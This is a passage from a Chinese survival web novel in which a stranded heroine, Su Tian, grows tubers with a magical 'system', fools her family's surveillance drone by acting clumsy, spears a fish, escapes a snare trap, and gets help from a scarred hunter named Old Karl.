靠近小屋,被根须网络完全覆盖的核心区域,沙土的色泽最深,几乎呈现出一种饱含养分的深黑色!
而随着远离小屋,根须覆盖变得稀疏,那深色也迅速变淡,过渡到外围的灰黄。
一条清晰无比的分界线,就在小屋边缘赫然显现!
优化!
这就是系统的“自然馈赠”!
固沙海草的根须,不仅在物理上固定沙粒,更在悄然改造着沙地的本质!
它在赋予这片贫瘠死地,养分!
苏甜的心脏狂跳起来,她抓起一把靠近小屋边缘,色泽最深沉的沙土。
入手的感觉,不再是单纯的细腻紧实,而是多了一种难以言喻的“肥沃”感?
仿佛能捏出油来?
虽然依旧带着沙粒的质感,但那种死寂的灰败气息已荡然无存!
“这怎么可能。”她喃喃自语,眼中充满了震撼和狂喜。
与此同时。
远处礁石上。
保镖乙依旧举着望远镜,冰冷的镜头牢牢锁定着苏甜小屋旁那片新开垦的区域。
他看到了苏甜跪在那里,似乎在查看什么。
但距离太远,他看不清沙地的具体变化。
然而,在清晨越来越明亮的阳光下,他敏锐地捕捉到了那片区域与其他灰黄沙地的显著不同,颜色!
那片被翻动过的沙地,呈现出一种极其反常的,深沉的暗色!
尤其是在小屋阴影和晨光交界处,那深色异常醒目!
“报告。”保镖乙按下通讯器,声音毫无波澜。
“目标在营地东南侧开辟一小块土地,目测约两平方米。已完成播种行为。但土壤颜色异常。”
他顿了顿,似乎在斟酌用词,镜片后的眉头微微皱起。
“翻动区域土壤呈深褐色至近黑色,与周边灰黄色沙地对比强烈。初步判断疑似有未知植被萌芽?但目标播种行为发生在十分钟前,萌芽速度不符合常理。请求指示,是否抵近侦查?”
通讯器那头沉默了几秒,传来苏振业带着浓浓倦意和暴躁的声音,背景还有快艇引擎徒劳的轰鸣。
“颜色异常?深褐色?黑色?妈的。这鬼地方还能长出什么好东西?不用管她!肯定是泥巴混了鸟粪!给我盯紧她!看她还能玩出什么花样!船修得怎么样了?!废物!”
“明白。”保镖乙切断通讯。
冰冷的镜头,依旧对准那片深色的土地,以及土地上那个跪坐着的,单薄却异常坚韧的身影。
他忠实地执行着命令,只是那紧锁的眉头下,一丝不易察觉的困惑。
如同投入深潭的石子,悄然荡开。
10. 第10章
头顶传来熟悉的,令人心烦意乱的嗡鸣。
苏家徽记的无人机,如同跗骨之蛆,准时出现在小屋上空,猩红的电子眼冷酷地扫视着下方。
冰冷的镜头焦点,精准地锁定在小屋旁那片颜色深褐,甚至透出油润黑亮光泽的“薯田”上,以及那个蹲在田边的单薄身影。
苏甜背对着无人机,嘴角勾起一丝冰冷的弧度。
她知道,表演时间到了。
她深吸一口气,再转过身面对“薯田”时,脸上已经换上了一副全神贯注,却又笨拙无比的“认真”表情。
拿起充当拐杖的木棍,小心翼翼地,像对待易碎品一样,轻轻拨弄着深褐色沙地上那些根本不可能存在的“薯苗”(种子才埋下去一天多)。
“小苗苗,快点长呀。”
她故意用带着点娇气、又有点傻气的语调小声嘟囔。
声音不大,却刚好能让无人机可能搭载的拾音器捕捉到模糊的片段。
突然,她像是“不小心”被脚下的沙粒绊了一下,身体一个趔趄,手中的木棍“失手”朝着沙地猛地戳了下去!
“哎呀!”她发出一声惊慌失措的低呼。
整个人“笨拙”地向前扑倒,双手慌乱地撑在沙地上,膝盖也“重重”地磕了一下(实则巧妙地卸了力,只蹭到一点沙粒)。
她狼狈地爬起来,顾不得拍掉满手的沙粒(还特意在脸上蹭了点泥)。
一脸“懊恼”和“心疼”地看向木棍刚才戳中的地方。
那里只有一片平整的深褐色沙土,连个坑都没有。
她却像是真的戳坏了什么宝贝,眼圈都“急”红了,对着空气带着哭腔埋怨。
“都怪我!笨手笨脚的!苗苗是不是被我弄死了呀。”
无人机在半空中微微调整了一下角度,猩红的镜头似乎聚焦在她沾满泥沙,泫然欲泣的脸上。
表演还没完。
苏甜“沮丧”地站起身,一瘸一拐(这次腿是真疼)地打算离开薯田回小屋。
刚走出两步,她眼角的余光瞥见沙地上慢悠悠爬过一只指甲盖大小,外壳斑斓的硬壳甲虫,完全无害。
时机正好!
“啊!!虫子!好大的虫子!救命啊!”
苏甜如同被踩了尾巴的猫,猛地发出一声凄厉到破音的尖叫!
整个人夸张地原地蹦了起来(牵扯到伤腿,疼得她龇牙咧嘴,表情扭曲得无比真实)。
手里的木棍也“惊恐”地丢了出去,正好砸在那只无辜的甲虫旁边,吓得小甲虫迅速钻进沙粒消失不见。
她惊魂未定地拍着胸口,脸色“煞白”,大口喘着气。
眼神“惊恐”地四处张望,仿佛刚刚遭遇了史前巨兽,嘴里还神经质地念叨着。
“吓死我了,好可怕,这里虫子怎么这么大。”
远处礁石上,举着望远镜的保镖乙嘴角几不可察地抽搐了一下。
耳机里传来苏振业不耐烦的询问。
“又鬼叫什么?”
保镖乙面无表情地汇报。
“目标在[种植区]不慎跌倒,疑似担忧损坏未发芽作物,情绪激动。后受到小型地表节肢动物惊吓,反应过度。”
“哼!废物!屁大点事!继续盯着!”苏振业的声音带着浓浓的鄙夷和烦躁。
无人机似乎也对这场闹剧失去了兴趣,嗡嗡地盘旋升高。
例行公事般扩大了巡航范围,猩红的镜头扫向更远处的雨林边缘和海岸线。
苏甜看着无人机飞远,脸上所有的惊慌、笨拙、娇气瞬间褪得干干净净,只剩下冰冷的平静和一丝不易察觉的疲惫。
她揉了揉刚才故意撞疼的膝盖,弯腰捡起木棍,面无表情地走回小屋的阴影里。
麻痹成功。
监视者的戒心,应该又降低了几分。
能量!
她需要能量!
薯种发芽需要时间,酸涩的浆果和可疑的贝类无法支撑。
捕鱼,获取稳定的蛋白质,是当务之急!
但她徒手抓鱼的效率太低,风险太高。
她靠坐在温暖的主梁旁,闭上眼,集中精神。
意识沉入脑海中的系统界面。清新海岛风的棕榈叶面板浮现。
【当前生态能量:100】(咸水湖签到所得)
【商城】图标微微闪烁。
意念触碰【商城】。
琳琅满目的图标展开,大多是灰色不可选状态(能量不足或权限未解锁)。
她的目光迅速锁定在【工具】分类下,一个闪烁着微光的图标【简易鱼叉(基础型)】。
图标下方标注【兑换需:80生态能量】。
说明硬木杆配天然燧石磨制矛头,结构简单,坚固耐用(低耐久)。
80点!
几乎是她全部的家当!
兑换了它,能量就只剩可怜的20点,遇到突发情况将极其被动。
但值得!
这是长远投资!
苏甜没有过多犹豫。
意念果断触碰!
【叮!消耗80生态能量!兑换【简易鱼叉(基础型)x1】!】
【当前生态能量:20】
手中猛地一沉!
一杆比她略高,触手温润的硬木鱼叉凭空出现!
木杆笔直坚韧,一端用坚韧的藤蔓和某种黑色树脂牢牢固定着一枚被打磨得异常尖锐,边缘闪烁着冷硬光泽的暗灰色燧石矛头!
入手沉甸甸的,带着原始武器的凶悍气息。
就是它了!
苏甜抚摸着冰冷锋利的燧石矛头,眼中闪过一丝锐芒。
她将鱼叉小心地藏在屋顶垂挂的厚实草帘后面。
现在,只等时机。
时间在饥饿的煎熬和等待中,缓慢流逝。
苏甜强迫自己休息,保存体力。
她不时查看“薯田”,深褐色的沙土依旧平静。
但指尖触碰时,仿佛能感觉到下方那些银白根须更加活跃的搏动。
它们正贪婪地汲取着每一分水分和可能的养分,默默编织着温床。
太阳终于开始西斜,将天边和海面染成一片壮丽的橘红。
无人机的嗡鸣声,在完成最后一次低空掠过小屋附近后。
终于升高,朝着岛屿另一侧飞去,进行它黄昏时分的例行远距离巡航。
保镖乙的身影依旧矗立在礁石上,但距离和光线的变化,让他的监视视野,不可避免地出现了盲区。
时机到了!
苏甜如同蛰伏已久的猎豹,瞬间行动起来。
她迅速从草帘后取出鱼叉,将匕首别在腰间最顺手的位置。
没有犹豫,拖着依旧疼痛但已能忍受的伤腿,一瘸一拐却目标明确地朝着岛屿西侧。
那片老卡尔曾短暂现身,礁石嶙峋,潮汐作用明显的浅水区潜行而去。
她刻意利用大块礁石和逐渐浓重的暮色作为掩护,避开礁石上保镖乙可能投来的视线。
黄昏的光线为海面镀上了一层流动的金箔,也模糊了水下的视线。
海浪轻轻拍打着黑色的礁石,发出舒缓的哗哗声。
苏甜选择了一处被两块巨大礁石夹峙,水流相对平缓的小小水湾。
这里水深及腰,水下是错落的岩石和海草丛。
她记得老卡尔模糊的身影,似乎曾在这里短暂停留观察,潮水退去时,这里会形成一个天然的浅坑。
她深吸一口气,忍着海水的冰冷和伤口被盐水刺激的刺痛,悄无声息地滑入水中。
礁石的阴影,将她大半身形笼罩。
她双手紧握鱼叉粗糙的木杆,身体微微前倾。
如同凝固的雕塑,只有锐利的目光穿透晃动的海水,死死搜寻着岩缝和海草间的动静。
时间一分一秒过去。
饥饿、冰冷、伤口的刺痛和长时间保持姿势的僵硬不断考验着她的意志。
汗水(也可能是海水)顺着额角滑落。
突然!
一道银灰色的影子,大约一尺多长,从一块岩石的阴影下迅捷地游出!
是一条常见的鲷鱼!
苏甜的心脏猛地提到了嗓子眼!
她几乎是本能地,用尽全力,将手中的鱼叉朝着那道银影狠狠刺下!
噗!
水花四溅!
鱼叉入水的声音,在寂静的黄昏格外清晰!
然而,刺空了!
角度偏差太大!
鱼叉的燧石矛头擦着鱼尾刺在坚硬的礁石上,发出令人牙酸的刮擦声,溅起几点火星!
巨大的反震力震得苏甜双臂发麻,虎口崩裂般疼痛!
受惊的鲷鱼尾巴一甩,瞬间消失在另一块礁石后面。
失败!
苏甜喘着粗气,懊恼地收回鱼叉。
燧石矛头完好无损,但木杆上留下了一道明显的擦痕。
力气不够,角度判断不准,水下折射的影响。
捕鱼远比想象中艰难!
她没有气馁,抹了一把脸上的海水,强迫自己冷静下来。
回忆着前世在海洋纪录片里看过的技巧,调整呼吸,再次如同礁石般潜伏下来,目光更加专注。
等待。
漫长的等待。
夕阳沉入海平线一半,暮色如同蓝灰色的纱幔缓缓笼罩。
又一道影子!
这次体型更大,游速稍缓,似乎是一条肥硕的石斑鱼!
它正慢悠悠地巡视着自己的领地,靠近苏甜潜伏的礁石。
苏甜屏住呼吸,心跳如鼓。
她默默计算着距离、水流速度、光线的折射,身体如同蓄满力的弓弦,微微调整着鱼叉的角度。
就是现在!
腰腹核心发力!
受伤的左腿,在礁石上猛地一蹬!
身体如同离弦之箭,带动手臂爆发出全身的力量!
鱼叉划破空气和水面的阻隔,带着一往无前的决绝,精准地刺向那条石斑鱼的侧后方。
那是它转身逃跑时身体暴露最大的位置!
嗤啦!
这一次,是利器刺入血肉的沉闷声响!
中了!
一股巨大的,狂暴的力量瞬间通过木杆传来!
水下的石斑鱼疯狂地挣扎扭动,试图摆脱刺入身体的凶器!
水花剧烈地翻腾,搅起一片浑浊!
苏甜双手死死攥住鱼
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叉木杆,指关节因为用力而惨白,整个人被那股巨大的挣扎力量,带得在水中踉跄!
伤口被牵扯,剧痛钻心,咸涩的海水灌入口鼻,呛得她几乎窒息!
但她死也不松手!
眼中爆发出狼一般的凶光!
这是食物!
是活下去的希望!
僵持只持续了短短几秒。
鱼叉的燧石矛头深深嵌入了鱼的身体,切断了它的生机。
挣扎的力量迅速减弱。
浑浊的海水中,丝丝缕缕鲜红的血雾弥漫开来,带着浓重的腥气。
苏甜喘着粗气,用尽最后力气将鱼叉连同上面那条还在微微抽搐,足有手臂长短的肥硕石斑鱼一起拖出水面!
成功了!
她瘫坐在被海水打湿的礁石上,浑身湿透冰冷,左腿伤口火辣辣地疼,双臂酸痛得抬不起来。
但看着鱼叉上那条沉甸甸的,鳞片在暮光中闪着微光的海鱼,一种巨大的、近乎虚脱的成就感瞬间淹没了她!
她迅速拔出鱼叉,将还在微微弹动的石斑鱼取下。
警惕地看了一眼远处礁石上保镖乙模糊的身影和已经飞得很远的无人机。
她抱着这条来之不易的战利品,借着礁石的掩护,一瘸一拐地快速返回小屋区域。
她没有选择在显眼的沙滩上处理。
而是绕到小屋背面的阴影里,这里背靠骨架和礁石,形成了一个相对隐蔽的死角。
接下来是生火。
钻木取火对她这个“娇小姐”来说过于艰难且耗时。
她选择了一个更取巧的办法,利用燧石矛头!
她找来一些干燥,被风暴卷到礁石缝隙里的细小枯枝和棕榈叶纤维(提前收集的),堆成一个小堆。
然后,她用鱼叉的燧石矛头,狠狠敲击从海滩捡来的另一块边缘锋利的黑色燧石!
锵!锵!锵!
刺耳的金石交击声在暮色中响起!
每一次撞击,都迸射出几点细小的,橘红色的火星!
终于,一簇火星幸运地溅落在干燥的棕榈叶纤维上,冒起了细微的青烟!
苏甜立刻如同呵护最珍贵的火种,俯下身,小心翼翼地、极其轻柔地对着那点青烟吹气!
呼,呼。
青烟越来越浓,终于“噗”的一声轻响,一朵微弱却无比温暖明亮的橘黄色火苗,在棕榈叶纤维上跳跃起来!
火!
久违的火!
苏甜强忍着激动,迅速将火苗引到枯枝堆里。
很快,一堆小小的,温暖的篝火,在小屋背面的阴影里欢快地燃烧起来,驱散了暮色的寒意和身体的冰冷。
她用匕首麻利地刮掉鱼鳞,剖开鱼腹清理内脏(动作略显生疏但足够果断)。
将清洗干净的鱼肉,用坚韧的树枝穿好,架在篝火上方。
火焰舔舐着新鲜的鱼肉,发出令人愉悦的“滋滋”声。
鱼皮迅速卷曲、变色,散发出难以抗拒的浓郁焦香。
油脂被高温逼出,滴落在火堆里,发出“噼啪”的轻响,腾起一小缕带着肉香的青烟。
苏甜坐在火堆旁,湿漉漉的头发贴在脸颊上,跳动的火光映亮了她专注而渴望的眸子。
腹中的饥饿感在这香气的刺激下,如同苏醒的火山般猛烈爆发。
鱼肉烤得外焦里嫩。
她迫不及待地,也顾不上烫,小心翼翼地撕下一小块雪白的鱼肉,吹了吹,塞进嘴里。
滚烫!鲜!甜!
带着海水天然的咸味和火焰赋予的独特焦香!
简单的炙烤,却爆发出了最原始、最极致的鲜美!
久违的、饱满的、富含蛋白质的肉食!
滚烫的鱼肉滑过食道,落入空瘪已久的胃袋,带来一种近乎疼痛的充实感和满足感。
一股暖流仿佛从胃里扩散开来,迅速流向冰冷的四肢百骸。
她几乎是狼吞虎咽,却又强迫自己细嚼慢咽,珍惜着每一口来之不易的食物。
一条手臂长的石斑鱼,被她吃得干干净净,连鱼骨上粘连的肉丝都仔细剔了下来。
胃里沉甸甸的,暖融融的,驱散了长久以来的饥饿阴霾和虚弱感。
力量感,一丝微弱却真实不虚的力量感,伴随着饱腹感,开始在她疲惫的身体里复苏。
她握了握拳,感觉指尖不再那么冰冷麻木。
篝火渐渐熄灭,只余下暗红的炭火和袅袅青烟。
苏甜仔细地将鱼骨和内脏残渣挖坑深埋,用沙土掩盖好一切痕迹。
她收拾好东西,准备返回小屋温暖的庇护。
就在她转身,借着最后一缕天光看向小屋门口时,她的脚步猛地顿住了!
小屋门口那片被她亲手开垦,颜色深褐的沙地边缘,靠近礁石的方向,湿软的沙地上,清晰地印着几个新鲜的脚印!
那脚印很大,赤足,脚掌宽厚,脚趾张开,带着一种长期在粗糙环境中行走形成的厚茧痕迹。
脚印深深陷入沙地,方向似乎是从礁石区走向小屋,短暂停留后,又折返向了雨林边缘!
不是保镖的制式皮靴印!
也不是她自己的脚印!
是谁?!
11. 第11章
饱食后的力量感,并未持续太久。
加固小屋,获取更多稳定食物来源的压力,如同无形的鞭子,时刻抽打着苏甜的神经。
屋顶的墨绿色海草坚韧依旧,但边缘几处因之前风暴和自身生长应力出现的细微松散,像扎在苏甜心头的刺。
薯田里的深褐色沙土温润细腻,却依旧一片沉寂,看不出任何萌发的迹象。
她需要更多的藤蔓,更坚韧的绳索,来加固屋顶,也为了未来可能需要的更多建设。
清晨,无人机例行巡航的嗡鸣远去。
苏甜将匕首别在腰间最顺手的位置,拿起石斧,再次踏入雨林边缘。
这一次,她的目标明确,寻找足够坚韧的老藤。
阳光被浓密的树冠,切割成破碎的光斑,吝啬地洒在厚厚的腐殖层上。
空气潮湿得能拧出水,混合着浓烈的泥土,朽木和未知植被的复杂气息。
苏甜拖着伤腿,每一步都踩在松软的腐叶上,发出“噗嗤”的轻响,格外清晰。
她警惕地扫视着四周,避开色彩艳丽的菌类,绕开盘踞着可疑蛛网的灌木丛。
目光锐利地搜寻着那些攀附在古树主干上,颜色深褐,质地坚韧的藤蔓。
在一棵需要数人合抱的巨大榕树下。
她发现了几根缠绕在一起的深褐色老藤,足有手腕粗细,表皮虬结,看起来异常坚韧。
“就是这些了。”苏甜心中一喜,放下石斧,踮起脚,伸手抓住其中一根,试探着用力拉扯。
藤蔓纹丝不动,反而勒得掌心发红。
她后退半步,举起石斧,瞄准藤蔓与树干连接相对薄弱的一处,准备砍伐。
就在石斧挥下的瞬间。
脚下那片看似平整,覆盖着厚厚腐叶的地面,猛地向下塌陷!
不!
不是塌陷!
是数根绷紧的,涂着泥浆伪装的坚韧藤索,如同蛰伏已久的毒蛇,骤然从腐叶下弹射而起!
带着凌厉的破空声!
嗖!嗖!嗖!
苏甜只来得及发出一声短促的惊呼,整个人就被一股巨大的力量猛地拽离地面!
视野瞬间天旋地转!
石斧脱手飞出,砸在旁边的树干上,发出沉闷的声响!
剧痛从脚踝处传来!
那些弹起的藤索,如同活物般,瞬间缠绕收紧,死死勒住了她的双脚脚踝!
巨大的惯性,将她猛地倒吊着提向半空!
血液疯狂涌向头部,眼前阵阵发黑,腐叶和泥土的气息混合着剧烈的眩晕感直冲鼻腔!
她被倒吊在半空中,距离地面足有两米多高!
像一只落入蛛网的飞虫,无助地晃荡着。
粗糙的藤索深深勒进皮肉,传来火辣辣的刺痛和麻木感。
“陷阱!”苏甜心中警铃大作,冷汗瞬间浸透后背!
不是老卡尔的!
这手法更粗糙,更隐蔽,也更恶毒!
捕兽夹至少目标明确,这个陷阱更像是针对所有闯入者的无差别杀伤!
她的挣扎,惊动了榕树树冠中栖息的一群不知名小鸟。
鸟儿们发出惊恐的“唧唧喳喳”声,扑棱着翅膀四散飞逃,树叶簌簌落下。
眩晕和剧痛中,苏甜强迫自己冷静!
求生的本能,压倒一切!
她猛地一咬舌尖,尖锐的痛楚带来一丝清明。
腰腹用力,身体如同虾米般向上蜷缩!
手闪电般摸向腰间的匕首!
拔鞘!
冰冷的金属触感带来力量!
她不顾头下脚上的眩晕和脚踝被勒紧的剧痛,双手紧握匕首。
朝着缠绕在脚踝上最粗的那根藤索,用尽全身力气狠狠割下!
嗤啦!
匕首锋利的刃口划过坚韧的藤皮,发出令人牙酸的摩擦声!
一下!两下!三下!
汗水混着从额头流下的尘土迷住了眼睛,她不管不顾,只是疯狂地切割!
藤索极其坚韧,每一刀都只能切入一小半!
就在她即将割断那根主藤时,眼角的余光瞥见了陷阱下方,藤网边缘的另一个“囚徒”。
一只羽毛鲜艳的翠鸟!
它显然更早触发了陷阱,此刻也被藤索缠住了一只纤细的脚爪和翅膀。
倒吊在那里,已经精疲力竭,只能发出微弱的,如同啜泣般的哀鸣。
漂亮的羽毛凌乱不堪,黑豆般的眼睛里充满了惊恐和绝望。
苏甜的动作,因为这只鸟的出现,有了一瞬间极其微不可察的停顿。
但也仅仅是一瞬。
她眼神一凝,手中匕首更加用力地切割下去!
啪!
终于!
那根主藤被彻底割断!
失去了最主要的拉力,整个藤网瞬间松垮!
苏甜只觉得脚踝一松,身体如同沉重的麻袋般,头朝下狠狠栽向地面!
砰!
她重重摔在厚实的腐叶层上,虽然缓冲了大部分冲击力。
但依旧摔得七荤八素,五脏六腑都像移了位,左腿伤处更是传来撕裂般的剧痛!
眼前金星乱冒,喉咙里涌上一股腥甜。
她顾不上自己的狼狈和剧痛,挣扎着爬起来。
第一反应不是检查自己,而是扑向那只同样摔落在地,还在微弱挣扎的翠鸟。
“别怕,别怕。”苏甜的声音因为疼痛和紧张而微微发颤。
她小心翼翼地避开翠鸟惊恐的啄咬,用沾满泥土和汗水的双手。
极其轻柔,又极其迅速地解开缠绕在它脚爪和翅膀上的藤索。
她的动作带着一种不容置疑的专注和温柔,仿佛手中捧着的是世间最珍贵的琉璃。
束缚解除。
翠鸟在她掌心剧烈地颤抖了一下,黑豆般的眼睛惊疑不定地看着她。
苏甜忍着腿伤,艰难地站起身,双手捧着这只小小的生灵,高高地,平稳地托起。
“飞吧!”她低语,带着一种近乎虔诚的祝福。
翠鸟似乎感受到了自由的气息,在她掌心猛地一蹬!
双翅奋力展开!
一道翠绿色的流光,带着劫后余生的惊慌和喜悦,瞬间冲入茂密的树冠,消失不见,只留下几声清脆短促的鸣叫。
苏甜仰头望着翠鸟消失的方向,脏污的脸上露出一丝疲惫却释然的微笑。
直到这时,脚踝和腿部的剧痛才如同潮水般汹涌袭来,让她忍不住闷哼一声,踉跄着扶住旁边的树干。
就在这时。
一种被毒蛇盯上的,冰冷而锐利的感觉,毫无征兆地刺穿了她的脊背!
苏甜猛地回头!
目光如同出鞘的利剑,精准地刺向侧后方一片浓密的蕨类植物阴影!
那里,不知何时,静静地伫立着一个身影。
如同礁石般沉默,仿佛已与这片雨林融为一体。
古铜色的皮肤,在斑驳的光线下泛着金属般的光泽,岁月和风霜在上面刻下了深深的沟壑。
灰白色的脏辫被一根简单的皮绳束在脑后,露出饱经沧桑的额头和一双锐利得如同鹰隼的眼睛!
最令人心悸的是,一道狰狞的,如同蜈蚣般的暗红色疤痕,从他的左额角斜斜贯穿左眼,一直延伸到颧骨下方!
那只被疤痕贯穿的左眼,瞳孔呈现出一种奇异的,近乎于石化的灰白色,没有任何焦距,却仿佛能洞穿人心!
而完好的右眼,此刻正冷冷地,毫无感情地审视着她,目光锐利得如同手术刀,仿佛要将她的一切伪装和秘密都剖析开来。
老卡尔!
时间仿佛凝固了。
雨林里只剩下风吹过树叶的沙沙声,和两人之间无声的对峙。
空气凝重得让人窒息。
老卡尔的目光扫过苏甜狼狈的模样。
沾满泥土和腐叶的衣裙,被藤索勒出深红印痕,甚至渗出血丝的脚踝,还有她扶着树干,因疼痛而微微颤抖的左腿。
然后,他的目光移向地上那被割断的藤网陷阱。
最终,落在了陷阱旁边,苏甜刚才摔倒时无意中踢开腐叶露出的一小截不属于藤蔓的,崭新的蓝色化纤绳头!
他那只完好的右眼瞳孔,极其细微地收缩了一下。
没有言语,没有询问。
老卡尔如同一个沉默的幽灵,缓步从蕨类植物的阴影中走了出来。
他完全无视了苏甜的存在,径直走到那陷阱旁,蹲下身。
他的动作带着一种老猎人特有的精准和谨慎。
粗糙如同树皮的手指,仔细地检查着被割断的藤索断口,摩挲着绳子的质地。
然后,他的手指捻起了那截刺眼的蓝
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色化纤绳头,在指尖搓了搓,又放到鼻端下,极其轻微地嗅了一下。
那只灰白色的左眼依旧空洞,但完好的右眼中,却闪过一丝了然和冰冷的怒意。
显然,他认出了这绳子的来源,也确认了这陷阱绝非岛上的自然造物。
做完这一切,老卡尔随手将那截蓝色绳头丢回腐叶堆,仿佛丢弃一件肮脏的垃圾。
他站起身,目光再次扫过苏甜,依旧没有任何交流的意图。
然而,就在他转身,准备像来时一样悄无声息地隐入密林深处时。
那只完好的右眼,却似无意般,瞥向了苏甜右侧不远处,一棵倒塌的巨大枯木根部。
他用那低沉沙哑、如同砂纸摩擦岩石般的嗓音,抛下了一句言简意赅、却重若千斤的话。
“往东三十步,朽木下有能吃的根。饿不死。”
话音未落,他那高大沉默的身影,已经如同融入树影的水墨。
迅速消失在浓密的雨林深处,只留下原地弥漫的、若有若无的草药和泥土混合的气息。
苏甜扶着树干,剧烈地喘息着,心脏仍在胸腔里狂跳不止。
脚踝的刺痛和腿伤的钝痛交织,提醒着她刚刚经历的惊险。
但老卡尔最后那句话,如同黑暗中的灯塔,瞬间照亮了她的心!
她没有立刻行动,而是强忍着疼痛,对着老卡尔消失的方向,深深弯下了腰,无比真诚地说了一声。
“谢谢您!”
声音不大,却清晰地回荡在寂静的雨林边缘。
她知道,老卡尔或许并未走远,或许能听到。
直起身,苏甜的目光锐利地扫过地上那截被老卡尔丢弃的蓝色化纤绳头。
她走过去,用匕首尖将它挑起,仔细观察。
这是一种非常现代的,高强度尼龙绳的断头,切口整齐,像是被利器割断。
颜色鲜艳崭新,与周围腐朽的自然环境格格不入。
陷阱,外来者,是苏振业留下的保镖?还是其他什么人?
她眼神冰冷,将绳头小心地用一片干净的树叶包好,藏进怀里。
这是重要的证据,也是危险的信号。
做完这些,她才拄着木棍,拖着伤腿,按照老卡尔的指引,向东走了大约三十步。
果然,在一棵早已腐朽,长满青苔的巨大枯木根部,覆盖着厚厚的腐叶。
她拨开腐叶,用匕首小心地挖掘。
很快,手指触碰到了一些硬硬的,块状的东西。
她加快了速度,刨开湿软的泥土。
几块大小不一,形状不规则的块茎露了出来!
表皮是深褐色的,带着泥土,看起来其貌不扬,有些像畸形的生姜。
但苏甜认得,这是某种薯蓣类植物的根茎!
俗称“野山药”或“脚板苕”!
富含淀粉,是重要的救荒食物!
她小心翼翼地挖出了四五块相对完整的块茎,大的有拳头大小。
沉甸甸的,带着泥土的芬芳。
捧着这些珍贵的块茎回到小屋,苏甜顾不得清洗身上的污泥,立刻取来珍贵的淡水,仔细清洗掉块茎上的泥土。
她不敢生吃,用匕首削掉外皮,露出里面雪白的肉质。
切成小块,用树枝穿好,架在昨晚残留的炭火上小心烘烤。
很快,一股混合着泥土清香和淀粉焦香的独特气味弥漫开来。
烤熟的块茎肉质雪白,口感粗糙干涩,远不如鱼肉鲜美,甚至带着点淡淡的土腥味和麻舌感(需要彻底熟透才能消除的微量生物碱)。
但毋庸置疑,它富含淀粉,能提供最基础的热量!
苏甜小口小口地吃着这粗糙但实在的食物,胃里终于有了踏实感。
她看着手中半熟的块茎,又想起老卡尔那沉默审视的目光和那句“饿不死”。
就在这时。
呜嗡!
头顶传来无人机引擎功率骤然提升的,刺耳的嗡鸣!
它似乎结束了远距离巡航,正急速降低高度,猩红的镜头如同探照灯般。
带着前所未有的专注和一丝不易察觉的急迫,死死锁定了苏甜小屋的方向!
尤其是小屋旁那片颜色深褐,在阳光下显得格外油润的“薯田”,以及苏甜手中正在烘烤,冒着热气的陌生块茎!
苏甜心中猛地一凛!
12. 第12章
晨曦如同一把温柔的刷子,将淡金色的光芒均匀地涂抹在海滩上。
小屋(或者说那个拥有神奇屋顶的骨架)在晨光中静静矗立,墨绿色的海草屋顶边缘,垂挂的草茎上凝结着晶莹的露珠,在阳光下闪烁着微光。
苏甜几乎是扑到小屋旁那片深褐色的沙地边的。
她的心脏在胸腔里擂鼓般狂跳,呼吸都下意识地屏住了。
目光如同最精密的探针,一寸寸扫过那片被她亲手开垦、浇灌,并寄予了全部生存希望的“薯田”。
深褐色,甚至透着油润黑亮光泽的沙土依旧温润细腻,如同最上等的天鹅绒。
被银白根须网络改造过的土地,散发着一种内敛的生机。
然而,表面一片平静,没有任何凸起的迹象。
失望如同冰冷的潮水,瞬间淹没了刚刚升起的希冀。
难道失败了?种子没活?还是。
就在那失望的阴霾,即将笼罩心头的刹那!
她的目光猛地定格在靠近小屋骨架,沙土颜色最为深沉油润的那一小片区域边缘!
那里在几块微小的碎石旁,一点极其微弱的,几乎难以察觉的嫩绿色,如同最胆怯的精灵,小心翼翼地探出了头!
不是一点!
是几点!
苏甜的心瞬间提到了嗓子眼!
她几乎是匍匐下去,脸颊几乎贴到了沙地上,屏息凝神,生怕惊扰了什么。
看清了!
几点极其纤细,脆弱得仿佛一碰即碎的嫩绿色芽尖,正顽强地拱破了那层深褐色的沙土!
它们顶着微小的,如同米粒般的种皮残壳,努力地向着上方吝啬的阳光伸展着!
虽然微小,却充满了令人震撼的生命力!
薯苗!
她的速生薯种,发芽了!
紧接着,如同被无形的信号唤醒,旁边几处埋下薯种的地方,也相继拱破了沙土,探出了同样稚嫩却倔强的嫩芽!
一共七株!
在晨光的爱抚下,那抹象征着希望的新绿,在深褐色沙土的映衬下,显得如此夺目,如此生机勃勃!
“成了!真的成了!”苏甜低喃着,声音带着难以抑制的颤抖和狂喜。
她伸出手指,极其轻柔地,如同触碰易碎梦境般,虚虚地拂过那几株嫩芽。
指尖能感受到它们微弱的生命律动,感受到脚下沙土中。
那些银白色根须更加欢快,更加贪婪地向着薯苗根部汇聚搏动的生命力!
是根须网络提供的养分和优化环境,加速了它们的萌发!
就在这时,头顶传来无人机引擎功率陡然提升的,刺耳嗡鸣!
猩红的镜头如同嗅到血腥味的秃鹫,瞬间从巡航模式转为俯冲姿态,带着前所未有的专注和一丝急迫?
死死锁定了小屋旁这片刚刚萌发新绿的沙地!
镜头焦点贪婪地捕捉着那几点脆弱的嫩绿!
苏甜心中一凛,脸上的狂喜瞬间收敛,化为冰冷的平静。
她迅速站起身,装作若无其事地拍打了一下膝盖上并不存在的灰尘。
目光平静地扫过天空的无人机,然后转身。
一瘸一拐地走向海岬方向,继续她“例行”的取水工作。
只是转身的刹那,眼底深处闪过一丝冰冷的警惕。
快艇引擎舱盖敞开着,露出里面复杂却布满泥浆和水渍的管线。
空气中弥漫着机油、汗水和苏振业雪茄的混合怪味。
“废物!一群废物!三天了!连个引擎都修不好!老子养你们吃屎的吗?!”
苏振业肥胖的身躯,陷在快艇唯一的真皮座椅里,昂贵的西装皱巴巴地裹在身上,沾满了油污。
他脸色铁青,对着卫星电话和面前几个满头大汗的技师咆哮,唾沫星子飞溅。
“再修不好,全都给我滚蛋!”
保镖乙如同沉默的礁石,站在艇艏的阴影里。
通过加密通讯器,接收着无人机实时传输的高清画面。
当那几点象征着生命奇迹的嫩绿清晰地出现在他眼前时,他那张万年不变的脸上,眉头几不可察地动了一下。
就在这时,苏振业暴躁的目光扫了过来,如同毒蛇的信子。
“你!那边那个木头桩子!”苏振业指着保镖乙,声音尖刻。
“那小贱人又在搞什么鬼?那片黑乎乎的泥巴地长出草了?”
保镖乙面无表情地转身,将手中连接着无人机画面的战术平板递了过去,声音毫无波澜。
“目标种植区出现未知植被萌芽,共七株,高度不足一厘米,形态特征初步判断为块茎类作物幼苗。”
高清画面上,那几点嫩绿在深褐色沙土的映衬下,清晰得刺眼。
苏振业肥胖的脸,瞬间涨成了猪肝色!
